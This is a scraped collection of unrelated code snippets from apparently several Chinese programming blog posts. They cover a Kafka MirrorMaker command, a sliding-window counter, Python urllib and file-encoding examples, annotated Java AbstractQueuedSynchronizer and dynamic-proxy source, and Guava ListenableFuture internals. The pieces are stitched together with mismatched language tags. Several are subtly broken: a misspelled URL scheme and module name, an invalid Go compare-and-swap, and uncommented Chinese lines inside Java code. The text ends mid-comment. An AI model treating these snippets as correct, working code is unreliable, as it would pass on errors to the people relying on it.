css复制代码$ bin/kafka-mirror-maker.sh --consumer.config path/to/consumer-config.properties --producer.config ./path/to/producer-config.properties --num.streams 7 --whitelist ".*"

ini复制代码// 几个重要变量：保存计数周期的数组、代表滑动窗口的循环队列的头和尾
SlidingWindowPeriod[] _queue;
int _head = 0;
int _tail = 0;

// 省略很多代码....

// 创建一个计数周期，这里是一个结构体
var newPeriod = new SlidingWindowPeriod()
{
    // 为了方便确定当前请求的计数周期，计数周期的Key是一个时间刻度，
    Key = lastPeriod.Key + _statPeriodMilliseconds * i,
    CountValue = 0
};

// 循环队列尾加1
// 如果超出了数组的索引范围，则代表需要替换数组中第1个位置的计数周期，然后队列尾来到数组中第1位
_tail++;
if (_tail == _length) _tail = 0;

// 如果队列尾在数组中的索引小于等于队列头的索引，则队列头需要弹出数据，队列头的位置向后移动1位
if (_tail <= _head)
{
    _head++;
    // 如果队列头的索引会超出索引范围，则队列头归位到数组中的第1位
    if (_head == _length) _head = 0;
}
// 将新的计数周期写入队列尾所在的数组位置
_queue[_tail] = newPeriod;

python复制代码    import urllib.request
    # 引入格式转换的模块
    from urllib import parse
    
    # 请求对象的限制所需数据url,headers以及data
    url = 'htttp://www.baidu.com'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36',
    }
    data = {
        'name':'lihua',
        'age':'15'
    }
    
    # 字典类型的data不符合要求，需进行以下转换！！！
    # urlencode将字典类型的data转换成URL能识别的参数类型
    #    即：name=lihua&age=15
    # 同时使用encode()将其转换为utf-8格式，因为请求对象的限制中的data参数为bytes类型
    #    即：b'name=lihua&age=15'
    data = parse.urlencode(data).encode()
    
    # 进行请求对象的限制，赋予request
    request = urlib.request.Request(url=url,data=data,headers=headers)
    #模拟浏览器打开request
    response = urllib.request.urlopen(request)
    
    # 获取到的某个网页源码有可能是utf-8,gb2312等编码格式，要想在终端输出源码，则需要进行解码(decode)，变成unicode编码
    content = response.read().decode()
    print(content)

ini复制代码string = '你好！我是中文'
fp =open('test.txt','w')
fp.write(string)

python复制代码    string = '你好！我是中文'
    # 将文件编码为utf-8格式
    string_exchange = string.encode()  # <class 'bytes'>
    # 参数:
    #    "w" - 写入 - 打开文件进行写入，如果文件不存在则创建该文件
    #    "b" - 二进制 - 二进制模式（例如图像）。
    fp =open('test.txt','wb')
    fp.write(string_exchange)

python复制代码    string = '你好！我是中文' 
    
    #open函数内置encoding，为可选参数
    fp =open('test.txt','w',encoding='utf-8') 
    fp.write(string)

java复制代码public abstract class AbstractQueuedSynchronizer
    extends AbstractOwnableSynchronizer
    implements java.io.Serializable {
	//等待队列头节点
    private transient volatile Node head;
	
    //等待队列的尾节点
    private transient volatile Node tail;
 /**
     * Wait queue node class.
     *
     * <p>The wait queue is a variant of a "CLH" (Craig, Landin, and
     * Hagersten) lock queue. CLH locks are normally used for
     * spinlocks.  We instead use them for blocking synchronizers, but
     * use the same basic tactic of holding some of the control
     * information about a thread in the predecessor of its node.  A
     * "status" field in each node keeps track of whether a thread
     * should block.  A node is signalled when its predecessor
     * releases.  Each node of the queue otherwise serves as a
     * specific-notification-style monitor holding a single waiting
     * thread. The status field does NOT control whether threads are
     * granted locks etc though.  A thread may try to acquire if it is
     * first in the queue. But being first does not guarantee success;
     * it only gives the right to contend.  So the currently released
     * contender thread may need to rewait.
     * <p>To enqueue into a CLH lock, you atomically splice it in as new
     * tail. To dequeue, you just set the head field.
     * <pre>
     *      +------+  prev +-----+       +-----+
     * head |      | <---- |     | <---- |     |  tail
     *      +------+       +-----+       +-----+
     * </pre>
     *
     **/
     //静态内部类，是实现等待队列的核心类，从上面官方解析也可以看出是一个双向链表实现的一个FIFO队列，该类主要是封装线程和维护线程的一些状态标记
     //后面会单独分析该内部类
    static final class Node{省略...}
    
    //同步状态标记，只有该状态等于0的时候才表示可以当前是空闲的没有被占用的，此时可以换一个一个节点的线程来占用
    private volatile int state;
	//省略....
}

java复制代码    static final class Node {
        /**共享标记模式的标记 */
        static final Node SHARED = new Node();
        /** 独占模式的标记节点 */
        static final Node EXCLUSIVE = null;

        /** waitStatus状态标记等于-1表示节点以及被取消*/
        static final int CANCELLED =  1;
        /** 表示后继节点处于等待状态，如果当前节点同步状态是否或者取消则被唤醒 */
        static final int SIGNAL    = -1;
        /** waitStatus表示线程正在condition等待条件上 */
        static final int CONDITION = -2;
        /** 下一次的共享模式同步状态的获取将会无条件的传播 */
        static final int PROPAGATE = -3;
     	/* waitStatus的初始值时0,使用CAS来修改节点的状态 */
        volatile int waitStatus;

        /**
         * 前驱节点
         */
        volatile Node prev;

        /**
         * 后继节点
         */
        volatile Node next;

        /**
         * 入队等待的线程
         */
        volatile Thread thread;

        /**
         * 链接到下一个节点的等待条件,或特殊的值SHARED,因为条件队列只有在独占模式时才能被访问,
         * 所以我们只需要一个简单的连接队列在等待的时候保存节点,然后把它们转移到队列中重新获取
         * 因为条件只能是独占性的,我们通过使用特殊的值来表示共享模式
         */
        Node nextWaiter;

        /**
         *判断是否共享模式
         */
        final boolean isShared() {
            return nextWaiter == SHARED;
        }

        /**
         * 获取当前节点的前驱节点
         * @return the predecessor of this node
         */
        final Node predecessor() throws NullPointerException {
            Node p = prev;
            if (p == null)
                throw new NullPointerException();
            else
                return p;
        }

        Node() {    // Used to establish initial head or SHARED marker
        }

        Node(Thread thread, Node mode) {     // 指点线程和模式的构造器
            this.nextWaiter = mode;
            this.thread = thread;
        }

        Node(Thread thread, int waitStatus) { // 指定线程和线程状态的构造器
            this.waitStatus = waitStatus;
            this.thread = thread;
        }
    }

java复制代码    public final void acquire(int arg) {
        if (!tryAcquire(arg) &&
            acquireQueued(addWaiter(Node.EXCLUSIVE), arg))
            selfInterrupt();
    }

java复制代码    /**
     * Creates and enqueues node for current thread and given mode.
     *
     * @param mode Node.EXCLUSIVE for exclusive, Node.SHARED for shared
     * @return the new node
     */
    private Node addWaiter(Node mode) {
    	//根据线程和模式，封装成一个node节点
        Node node = new Node(Thread.currentThread(), mode);
        // Try the fast path of enq; backup to full enq on failure
        Node pred = tail;
        //如果不是第一次入队
        if (pred != null) {
        	//尾部添加该节点
            node.prev = pred;
            //然后通过cas设置为尾节点
            if (compareAndSetTail(pred, node)) {
                pred.next = node;
                return node;
            }
        }
        //如果第一次则进入enq方法进行创建
        enq(node);
        return node;
    }

java复制代码    private Node enq(final Node node) {
        for (;;) {
        //获取尾节点
            Node t = tail;
            if (t == null) { // 如果等于空则创建一个空的node节点，并通过cas设置为头节点
                if (compareAndSetHead(new Node()))
           			同时让尾节点执行同
                    tail = head;
            } else {
            //创建完一个队列后，非空状态则进入当前else然后在尾部添加当前线程封装的节点，再通过cas把节点设置成尾节点
                node.prev = t;
                if (compareAndSetTail(t, node)) {
                    t.next = node;
                    return t;
                }
            }
        }
    }

java复制代码    final boolean acquireQueued(final Node node, int arg) {
    	//定义一个操作失败标记
        boolean failed = true;
        try {
        //定义一个中断标记默认没不中断
            boolean interrupted = false;
            //下面是自旋
            for (;;) {
            //获取当前线程的前驱节点
                final Node p = node.predecessor();
                //判断是否是头节点，同时再次通过trayAcquire获取同步状态，如果是头节点并且获取同步状态成功(表明当前节点的线程已经被设置为同步状态的拥有者)
                if (p == head && tryAcquire(arg)) {
                    setHead(node);//把当前传入进来的节点node设置为头节点，
                    p.next = null; // 断开与前驱节点的连接便于GC回收
                    failed = false;//表表示成功获取同步状态，返回中断标记
                    return interrupted;
                }
                //如果当前节点的前驱节点不是头节点，即当前节点不是第一个线程，则尝试判断是否应该把该线程挂起，
                //如果适合挂起则调用parkAndCheckInterrupt进行挂起(实现挂起操作是利用LockSupport.park(this))
                if (shouldParkAfterFailedAcquire(p, node) &&
                    parkAndCheckInterrupt())
                    interrupted = true;
            }
        } finally {
        //如果操作失败则放弃获取同步状态
            if (failed)
                cancelAcquire(node);
        }
    }

java复制代码    private static boolean shouldParkAfterFailedAcquire(Node pred, Node node) {
    	//获取前驱节点的ws判断处于那种状态。
        int ws = pred.waitStatus;
        //如果是SIGNAL(-1)表示当前前驱节点释放后会唤醒当前节点node，则可以安全挂起
        if (ws == Node.SIGNAL)
            return true;
        if (ws > 0) {
            /*
             * Predecessor was cancelled. Skip over predecessors and
             * indicate retry.
             * 如果前驱节点的状态是>0表示已经被取消或者说放弃了，则跳过该前驱节点，通过选好当前节点的前驱节点一直
             * 找到状态ws<0的第一个节点为止，然后把当前node节点连接在该节点的后继节点上
             */
            do {
                node.prev = pred = pred.prev;
            } while (pred.waitStatus > 0);
            pred.next = node;
        } else {
            /*
             * 如果前驱节点是0或者propagate则表示前驱节点正在占用同步状态此时需要设置一个signal，不能挂起，
             * 需要重新确定不能获取之后才可以被挂起
             */
            compareAndSetWaitStatus(pred, ws, Node.SIGNAL);
        }
        //返回不能被挂起
        return false;
    }
   //如果判断释放被挂起方法返回true则调用该方法进行挂起操作。
   private final boolean parkAndCheckInterrupt() {
        LockSupport.park(this);
        return Thread.interrupted();
    }

java复制代码    private void cancelAcquire(Node node) {
        // 判断npe
        if (node == null)
            return;
		把节点线程置为null
        node.thread = null;

        // 获取当前节点的前驱节点并且判断状态设置前驱节点
        Node pred = node.prev;
        //如果前驱节点ws>0表示已经放弃获取，则循环获取ws小于0的并连接起来
        while (pred.waitStatus > 0)
            node.prev = pred = pred.prev;

        // 获取前驱接i单独后继节点
        Node predNext = pred.next;

        // 把node节点的状态标记改完取消状态
        node.waitStatus = Node.CANCELLED;

        // 如果node是后继节点，则通过cas把前驱节点设置我为尾节点，同时把后继节点设置为null
        if (node == tail && compareAndSetTail(node, pred)) {
            compareAndSetNext(pred, predNext, null);
        } else {
            // 如果前驱节点不是头节点，ws小于0以及通过cas设置前驱节点ws状态为signal成功，并且前驱节点线程不为空则
            //则把前驱节点的后继节点设置为当前节点的后继节点
            int ws;
            if (pred != head &&
                ((ws = pred.waitStatus) == Node.SIGNAL ||
                 (ws <= 0 && compareAndSetWaitStatus(pred, ws, Node.SIGNAL))) &&
                pred.thread != null) {
                Node next = node.next;
                if (next != null && next.waitStatus <= 0)
                    compareAndSetNext(pred, predNext, next);
            } else {//如果是头节点则唤醒他的后继节点
                unparkSuccessor(node);
            }
			//让node节点指向node方便GC
            node.next = node; // help GC
        }
    }

java复制代码    private void unparkSuccessor(Node node) {
        /*
         * 获取node的ws，如果小于0则通过cas设置为0
         */
        int ws = node.waitStatus;
        if (ws < 0)
            compareAndSetWaitStatus(node, ws, 0);

        /*
         * 获取当前节点的后继节点
         */
        Node s = node.next;
        //判断s，如果等于null并且ws>0放弃获取
        if (s == null || s.waitStatus > 0) {
            s = null;//置为null
            //从尾节点开始循环获取前驱节点直到获取到最前面一个ws小于0的节点
            for (Node t = tail; t != null && t != node; t = t.prev)
                if (t.waitStatus <= 0)
                    s = t;
        }
        然后如果s节点不为null，证明获取到了最前面一个ws小于0的节点，则直接唤醒该节点的线程。
        if (s != null)
            LockSupport.unpark(s.thread);
    }

java复制代码    public final boolean release(int arg) {
    //tryrelease方法和tryacquire方法是一对的，该方法也是由子类来实现
        if (tryRelease(arg)) {
            Node h = head;//获取头节点
            //判断释放不等于空，或者状态释放不等于0，如果都符合则通过unparkSuccessor方法唤醒后继节点
            if (h != null && h.waitStatus != 0)
                unparkSuccessor(h);
            return true;
        }
        return false;
    }
    //这里举例reentrantlock方法中非公平锁实现的tryRelease方法
            protected final boolean tryRelease(int releases) {
            //获取AQS的同步状态值，然后减去释放的数值
            int c = getState() - releases;
            //判断当前线程释放是同步状态拥有者，如果不是则抛出一个异常
            if (Thread.currentThread() != getExclusiveOwnerThread())
                throw new IllegalMonitorStateException();
                //标记释放失败
            boolean free = false;
            //如果c==0表明同步状态完全释放了（存在重入的情况同步状态可能大于1）
            if (c == 0) {
                free = true;//设置释放成功
                setExclusiveOwnerThread(null);//把同步状态持有线程修改为null
            }
            //重新设置AQS状态(这里可能是0或者大余1(重入的情况))
            setState(c);
            return free;
        }

java复制代码public class StudentProxy implements Person {
    private Person person;

    public StudentProxy(Person person) {
        this.person = person;
    }

    @Override
    public void queryScore(String courseName) {
        person.queryScore(courseName);
    }
}
public class Student implements Person{
    private String userName;

    public Student(String userName) {
        this.userName = userName;
    }
    @Override
    public void queryScore(String courseName) {
        System.out.println(this.userName+"查"+courseName+"的成绩");
    }
}
public interface Person {
    void queryScore(String courseName);
}

java复制代码public interface Good {
    void produce();
}

public interface Person {
    void queryScore(String courseName);
}
public class Student implements Person{
    private String userName;

    public Student(String userName) {
        this.userName = userName;
    }
    @Override
    public void queryScore(String courseName) {
        System.out.println(this.userName+"查"+courseName+"的成绩");
    }
}

public class PersonInvocation<T> implements InvocationHandler {
    private T target;
    private Object target2;
    public PersonInvocation(T target) {
        this.target = target;
    }

    public PersonInvocation(T target, Object target2) {
        this.target = target;
        this.target2 = target2;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("代理前置处理....");
        System.out.println(proxy.getClass().getName());
        Object result = method.invoke(target, args);
        System.out.println("代理后置处理.....");
        return result;
    }
}
public class Test {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        Person stu1 = new Student("zs");
        PersonInvocation personInvocation = new PersonInvocation<>(stu1);
        //获取根据类加载器以及接口集生成的代理类
        Class<?> proxyClass = Proxy.getProxyClass(Student.class.getClassLoader(),Person.class,Good.class);
        //根据代理类和构造器参数获取类构造器
        Constructor<?> constructor = proxyClass.getConstructor(InvocationHandler.class);
        //执行被代理后的被代理对象
        Person o = (Person) constructor.newInstance(personInvocation);
        Good good = (Good) constructor.newInstance(personInvocation);
        good.produce();
        //上面代码等同与下面这一条语句
        Good proxyInstance = (Good) Proxy.newProxyInstance(Person.class.getClassLoader(), new Class[]{Person.class,Good.class}, personInvocation);
        byte[] proxyClassArr = ProxyGenerator.generateProxyClass(proxyInstance.getClass()
                .getSimpleName(), proxyInstance.getClass().getInterfaces());
        //将字节码文件保存到D盘，文件名为$Proxy0.class
        FileOutputStream outputStream = new FileOutputStream(new File(
                "proxyInstance.class"));
        outputStream.write(proxyClassArr);
        outputStream.flush();
        outputStream.close();
        proxyInstance.produce();
    }
}
//代理类
public final class $Proxy0 extends Proxy implements Person, Good {
    private static Method m1;
    private static Method m2;
    private static Method m3;
    private static Method m0;
    private static Method m4;
//省略.....
    public final void gaiveMoney() throws  {
        try {
            super.h.invoke(this, m3, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }
    public final void produce() throws  {
        try {
            super.h.invoke(this, m4, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }
    static {
        try {
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m2 = Class.forName("java.lang.Object").getMethod("toString");
            m3 = Class.forName("learning.proxy.Person").getMethod("gaiveMoney");
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
            m4 = Class.forName("learning.proxy.Good").getMethod("produce");
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

java复制代码Proxy类中
@CallerSensitive
public static Class<?> getProxyClass(ClassLoader loader,
                                     Class<?>... interfaces)
    throws IllegalArgumentException
{
    final Class<?>[] intfs = interfaces.clone();
    //安全校验
    final SecurityManager sm = System.getSecurityManager();
    if (sm != null) {
        checkProxyAccess(Reflection.getCallerClass(), loader, intfs);
    }
    //根据类加载器和接口数组获取代理类或者生成代理的方法
    return getProxyClass0(loader, intfs);
}
@CallerSensitive
public static Object newProxyInstance(ClassLoader loader,
                                      Class<?>[] interfaces,
                                      InvocationHandler h)
    throws IllegalArgumentException
{
    Objects.requireNonNull(h);

    final Class<?>[] intfs = interfaces.clone();
    final SecurityManager sm = System.getSecurityManager();
    if (sm != null) {
        checkProxyAccess(Reflection.getCallerClass(), loader, intfs);
    }

    /*
     * Look up or generate the designated proxy class.
     */
    Class<?> cl = getProxyClass0(loader, intfs);
//前面这一部分和getProxyClass方法是一致的
//下面这部分主要是根据invocationHandler作为参数获取代理类的实例对象
    try {
        if (sm != null) {
            checkNewProxyPermission(Reflection.getCallerClass(), cl);
        }
//获取构成类
        final Constructor<?> cons = cl.getConstructor(constructorParams);
        final InvocationHandler ih = h;
        //判断是否是公共方法，如果不是设置访问权限
        if (!Modifier.isPublic(cl.getModifiers())) {
            AccessController.doPrivileged(new PrivilegedAction<Void>() {
                public Void run() {
                    cons.setAccessible(true);
                    return null;
                }
            });
        }
        //通过构造器创建代理类实例
        return cons.newInstance(new Object[]{h});
    } catch (IllegalAccessException|InstantiationException e) {
        throw new InternalError(e.toString(), e);
    } catch (InvocationTargetException e) {
        Throwable t = e.getCause();
        if (t instanceof RuntimeException) {
            throw (RuntimeException) t;
        } else {
            throw new InternalError(t.toString(), t);
        }
    } catch (NoSuchMethodException e) {
        throw new InternalError(e.toString(), e);
    }
}
//从缓存中获取代理类，如果不存在则生成
private static Class<?> getProxyClass0(ClassLoader loader,
                                       Class<?>... interfaces) {
    if (interfaces.length > 65535) {
        throw new IllegalArgumentException("interface limit exceeded");
    }
    //缓存获取
    return proxyClassCache.get(loader, interfaces);
    
}
//private final ConcurrentMap<Object, ConcurrentMap<Object, Supplier<V>>> map= new ConcurrentHashMap<>();
//WeakCache类中获取代理对象的方法
//key 是类加载器，parameter是接口数组
public V get(K key, P parameter) {
    Objects.requireNonNull(parameter);

    expungeStaleEntries();
//根据类加载器生成缓存key
    Object cacheKey = CacheKey.valueOf(key, refQueue);

    // 从缓存map中根据key获取valeuMap，这个valuesMap也是一个Map，其中key是类加载器，而value是一个Supplier,supplier是Java中函数式接口的消费者
    //supplier其实就是Factory,Factory主要是查找到和生成对于代理类的处理类
    ConcurrentMap<Object, Supplier<V>> valuesMap = map.get(cacheKey);
    if (valuesMap == null) {
        ConcurrentMap<Object, Supplier<V>> oldValuesMap
            = map.putIfAbsent(cacheKey,
                              valuesMap = new ConcurrentHashMap<>());
        if (oldValuesMap != null) {
            valuesMap = oldValuesMap;
        }
    }

    // 根据类加载器和接口生成子key，根据子key中valuesMap中获取supplier
    // subKey from valuesMap
    Object subKey = Objects.requireNonNull(subKeyFactory.apply(key, parameter));
    Supplier<V> supplier = valuesMap.get(subKey);
    Factory factory = null;
    //自旋，如果supplier为空，则根据类加载器接口数组以及key\valuesMap生成Facotry，
    while (true) {
        //不为null的时候，从Facotory通过get方法获取value就是代理对象
        if (supplier != null) {
            // supplier might be a Factory or a CacheValue<V> instance
            V value = supplier.get();
            if (value != null) {
                return value;
            }
        }
        // 懒加载构建Factory
        if (factory == null) {
            factory = new Factory(key, parameter, subKey, valuesMap);
        }

        if (supplier == null) {
            supplier = valuesMap.putIfAbsent(subKey, factory);
            if (supplier == null) {
                // successfully installed Factory
                supplier = factory;
            }
            // else retry with winning supplier
        } else {
            if (valuesMap.replace(subKey, supplier, factory)) {
                supplier = factory;
            } else {
                supplier = valuesMap.get(subKey);
            }
        }
    }
}
//而Facotry对象又是基于ProxyClassFactory 去生成代理类的
private static final class ProxyClassFactory
    implements BiFunction<ClassLoader, Class<?>[], Class<?>>
{
    //  代理类名前缀
    private static final String proxyClassNamePrefix = "$Proxy";

    // 生成代理类的编号$proxy0/ $proxy1
    private static final AtomicLong nextUniqueNumber = new AtomicLong();

    @Override
    public Class<?> apply(ClassLoader loader, Class<?>[] interfaces) {
//用于校验是否重复接口
        Map<Class<?>, Boolean> interfaceSet = new IdentityHashMap<>(interfaces.length);
//遍历接口数组做处理
        for (Class<?> intf : interfaces) {
           //根据类加载器,接口名称获取接口类
            Class<?> interfaceClass = null;
            try {
                interfaceClass = Class.forName(intf.getName(), false, loader);
            } catch (ClassNotFoundException e) {
            }
            if (interfaceClass != intf) {
                throw new IllegalArgumentException(
                    intf + " is not visible from class loader");
            }
           //判断是否是接口
            if (!interfaceClass.isInterface()) {
                throw new IllegalArgumentException(
                    interfaceClass.getName() + " is not an interface");
            }
         //校验是否重复接口
            if (interfaceSet.put(interfaceClass, Boolean.TRUE) != null) {
                throw new IllegalArgumentException(
                    "repeated interface: " + interfaceClass.getName());
            }
        }

        String proxyPkg = null;     // package to define proxy class in
        int accessFlags = Modifier.PUBLIC | Modifier.FINAL;

     //校验非public接口是否在同一个包里，不同包的非public接口不能代理
        for (Class<?> intf : interfaces) {
            int flags = intf.getModifiers();
            if (!Modifier.isPublic(flags)) {
                accessFlags = Modifier.FINAL;
                String name = intf.getName();
                int n = name.lastIndexOf('.');
                String pkg = ((n == -1) ? "" : name.substring(0, n + 1));
                if (proxyPkg == null) {
                    proxyPkg = pkg;
                } else if (!pkg.equals(proxyPkg)) {
                    throw new IllegalArgumentException(
                        "non-public interfaces from different packages");
                }
            }
        }
//定义代理类的包名
        if (proxyPkg == null) {
            // if no non-public proxy interfaces, use com.sun.proxy package
            proxyPkg = ReflectUtil.PROXY_PACKAGE + ".";
        }
        long num = nextUniqueNumber.getAndIncrement();
        String proxyName = proxyPkg + proxyClassNamePrefix + num;
//生成代理类，根据代理类包名、接口数组生成代理类字节码
        byte[] proxyClassFile = ProxyGenerator.generateProxyClass(
            proxyName, interfaces, accessFlags);
        try {
            //使用类加载器把生成好的代理类在运行过程中调用jvm中
            return defineClass0(loader, proxyName,
                                proxyClassFile, 0, proxyClassFile.length);
        } catch (ClassFormatError e) {
            throw new IllegalArgumentException(e.toString());
        }
    }
}
//代理类生成、写入文件中
public static byte[] generateProxyClass(final String var0, Class<?>[] var1, int var2) {
    //构建生成代理类实例
    ProxyGenerator var3 = new ProxyGenerator(var0, var1, var2);
    //改方法是生成代理类的字节码文件，里面主要工作是把接口根据全限定类名获取方法描述等信息构建一个方法数组以及相关信息生成一个代理类字节数组流，然后写入文件中
    final byte[] var4 = var3.generateClassFile();
    if (saveGeneratedFiles) {
        AccessController.doPrivileged(new PrivilegedAction<Void>() {
            public Void run() {
                try {
                    int var1 = var0.lastIndexOf(46);
                    Path var2;
                    if (var1 > 0) {
                        Path var3 = Paths.get(var0.substring(0, var1).replace('.', File.separatorChar));
                        Files.createDirectories(var3);
                        var2 = var3.resolve(var0.substring(var1 + 1, var0.length()) + ".class");
                    } else {
                        var2 = Paths.get(var0 + ".class");
                    }

                    Files.write(var2, var4, new OpenOption[0]);
                    return null;
                } catch (IOException var4x) {
                    throw new InternalError("I/O exception saving generated file: " + var4x);
                }
            }
        });
    }

    return var4;
}

go复制代码func compareAndSwap(value int, old int, new int) bool{
    if (value !=old){
        return False
    }
    *value= new
    return True
}

typescript复制代码public class ListenableFutureTask<V> extends FutureTask<V>
    implements ListenableFuture<V> {

 // The execution list to hold our listeners.
 private final ExecutionList executionList = new ExecutionList();

 public static <V> ListenableFutureTask<V> create(Callable<V> callable) {
    return new ListenableFutureTask<V>(callable);
 }
  @Override
 public void addListener(Runnable listener, Executor exec) {
    executionList.add(listener, exec);
 }

//任务执行结束后就会调用ExecutionList的execute方法就会开始执行监听器(这个监听器就行下面那个问题的答案，何时开始执行任务future的监听器类获取结果。)
 @Override
 protected void done() {
    executionList.execute();
 }

ini复制代码下面是简单用法。

ListeningExecutorService listeningExecutorService = MoreExecutors.listeningDecorator(Executors.newFixedThreadPool(5));
ListenableFuture<String> lf1 = listeningExecutorService.submit(() -> {
    return "listFuture1";
});
ListenableFuture<String> lf2 = listeningExecutorService.submit(() -> {
    return "listFuture2";
});
List<ListenableFuture<String>> listenableFutures = Lists.newArrayList(lf1, lf2);
ListenableFuture<List<String>> listListenableFuture = Futures.successfulAsList(listenableFutures);
Thread thread = new Thread(() -> {
    while (true) {
        System.out.println(Thread.currentThread().getName()+"并发工作中.....");
 if (listListenableFuture.isDone()){
            break;
 }
    }
},"test-thread");

System.out.println(listListenableFuture.get());

swift复制代码//传入多个Futres然后以及线程池去处理，返回一个futeres 执行成功的结果集。
@Beta
  public static <V> ListenableFuture<List<V>> successfulAsList(
      Iterable<? extends ListenableFuture<? extends V>> futures) {
		  //先通过拷贝元素把ListenableFuture集变成一个不可变，然后调用listFuture，传入listenableFuture集，是否全部的必须成功以及线程池，listFuture正方法是把futures做处理的
    return listFuture(ImmutableList.copyOf(futures), false, directExecutor());
  }
  
   private static <V> ListenableFuture<List<V>> listFuture(
     ImmutableList<ListenableFuture<? extends V>> futures,
     boolean allMustSucceed, Executor listenerExecutor) {
   return new CombinedFuture<V, List<V>>(
       futures, allMustSucceed, listenerExecutor,
	   //这直接new了一个接口然后写了如何把future结果结合起来返回。
       new FutureCombiner<V, List<V>>() {
         @Override
		//由于这些可能存在则npe问题，所以内部处理的时候采用了Optional来处理避免NPE
         public List<V> combine(List<Optional<V>> values) {
           List<V> result = Lists.newArrayList();
           for (Optional<V> element : values) {
			  //如果是异常或者没有数据，则添加null处理
             result.add(element != null ? element.orNull() : null);
           }
		   //最后
           return Collections.unmodifiableList(result);
         }
       });
  }

scala复制代码/CombinedFuture是一个把多个future联合处理的一个静态内部类
  private static class CombinedFuture<V, C> extends AbstractFuture<C> {
    private static final Logger logger = Logger.getLogger(CombinedFuture.class.getName());
	//ListenableFuture 任务集
    ImmutableCollection<? extends ListenableFuture<? extends V>> futures;
	//是否必须区别执行成功，SuccessASFuture只返回执行成功的，allAsFuture需要区别执行成功，有一个失败都返回失败结果
    final boolean allMustSucceed;
	//记录剩余需要执行的future个数
    final AtomicInteger remaining;
	//把futre任务结果处理的一个类
    FutureCombiner<V, C> combiner;
    List<Optional<V>> values;
	//异常锁
    final Object seenExceptionsLock = new Object();
	//存储出现的异常信息
    Set<Throwable> seenExceptions;
    
//构造函数初始化相关参数并且调用init开始执行获取future结果
    CombinedFuture(
        ImmutableCollection<? extends ListenableFuture<? extends V>> futures,
        boolean allMustSucceed, Executor listenerExecutor,
        FutureCombiner<V, C> combiner) {
		//先初始化参数
      this.futures = futures;
      this.allMustSucceed = allMustSucceed;
	  //初始化没执行的future个数为future集的大小，主要这个类是原子类，是线程安全的。
      this.remaining = new AtomicInteger(futures.size());
      this.combiner = combiner;
	  //存储结果的一个list，会先根据futures的大小创建
      this.values = Lists.newArrayListWithCapacity(futures.size());
	  //初始化方法，主要是作业是获取future结果，并且增加CombinedFuture类的监听器，future集执行完成之后相关参数清除。
	  //而且它必须在构造函数结尾调用，init方法使用了很多ConbinedFuture的成员变量。
      init(listenerExecutor);
    }

java复制代码    protected void init(final Executor listenerExecutor) {
      //先添加一个监听器处理futre执行完成后进行相关清理工作
      addListener(new Runnable() {
        @Override
        public void run() {
          // 遍历调用future.cancel方法处理.
          if (CombinedFuture.this.isCancelled()) {
            for (ListenableFuture<?> future : CombinedFuture.this.futures) {
              future.cancel(CombinedFuture.this.wasInterrupted());
            }
          }

         //把futures的引用是否，等待gc回收
          CombinedFuture.this.futures = null;

          // By now the values array has either been set as the Future's value,
          // or (in case of failure) is no longer useful.
          CombinedFuture.this.values = null;

          // The combiner may also hold state, so free that as well
          CombinedFuture.this.combiner = null;
        }
      }, directExecutor());

      //如果futures是空的则调用AbstractFuture抽象类上的set方法把把空的不可变结果集设置为Future的结果,内部有一个基于AQS的子类Sync通过cas处理
      if (futures.isEmpty()) {
		  //先调用FutureCombiner的combine方法把这个结果遍历添加的list里面（开头那个接口里有combine相关处理流程）
        set(combiner.combine(ImmutableList.<Optional<V>>of()));
        return;
      }


      // 它会先把结果集全部用null占位.
      for (int i = 0; i < futures.size(); ++i) {
        values.add(null);
      }

	//遍历future任务集，并且为每个future添加监听器，
	//future任务都完成之后就会调用监听器，
      int i = 0;
      for (final ListenableFuture<? extends V> listenable : futures) {
        final int index = i++;
        listenable.addListener(new Runnable() {
          @Override
          public void run() {
			//setOneValue是调用linstenable.get()(其实就是future.get())
            setOneValue(index, listenable);
          }
        }, listenerExecutor);
      }
    }

typescript复制代码  @Override
 public void addListener(Runnable listener, Executor exec) {
    executionList.add(listener, exec);
 }

java复制代码//executionList 和字面意识一样是一个执行列表，他其实就是包含多个Runnable的list加线程池的组合
//前置知识线程池的执行流程
public final class ExecutionList {
  
  @VisibleForTesting static final Logger log = Logger.getLogger(ExecutionList.class.getName());
	//一个封装了Runnable 和线程池的单链表类
  @GuardedBy("this")
  private RunnableExecutorPair runnables;
  //判断这个执行列表类的runnables这个单链表是否已经被执行过
  @GuardedBy("this")
  private boolean executed;

  /** Creates a new, empty {@link ExecutionList}. */
  public ExecutionList() {}
  
  //添加一个执行任务，需要提供一个基于runnable接口的实现类以及一个线程池
  public void add(Runnable runnable, Executor executor) {
   
    Preconditions.checkNotNull(runnable, "Runnable was null.");
    Preconditions.checkNotNull(executor, "Executor was null.");

    //在执行链表添加节点时，通过synchronized锁住这个类，避免线程安全问题
    synchronized (this) {
      if (!executed) {
        runnables = new RunnableExecutorPair(runnable, executor, runnables);
        return;
      }
    }
    //默认添加完之后会，参数把这个任务丢个线程池去处理，并不一定能处理成功，可能会存储在线程池的阻塞队列里
    executeListener(runnable, executor);
  }

  //具体执行方法，他会先判断是否已经调用过execute这个方法执行链表，如果没有，
  //则拿到执行链表的表头用一个临时链表存储表头，然后把这个类的链表置空
  //由于添加链表节点的时候采用的是头插法，所以需要进行一次链表反转，然后遍历链表把runnbale交给线程池处理，
  //这个有个坑，如果不熟悉线程池执行流程的话，可能会以为，这里链表存储了一次，然后add完之后交给线程池要么执行，要么存放在阻塞队列里，
  //会以为出现两次执行，但是如果看过线程池源码的话，其实你可以发现当runnable被线程执行完之后，会把这个runnable置空，然后结合Java的基础知识
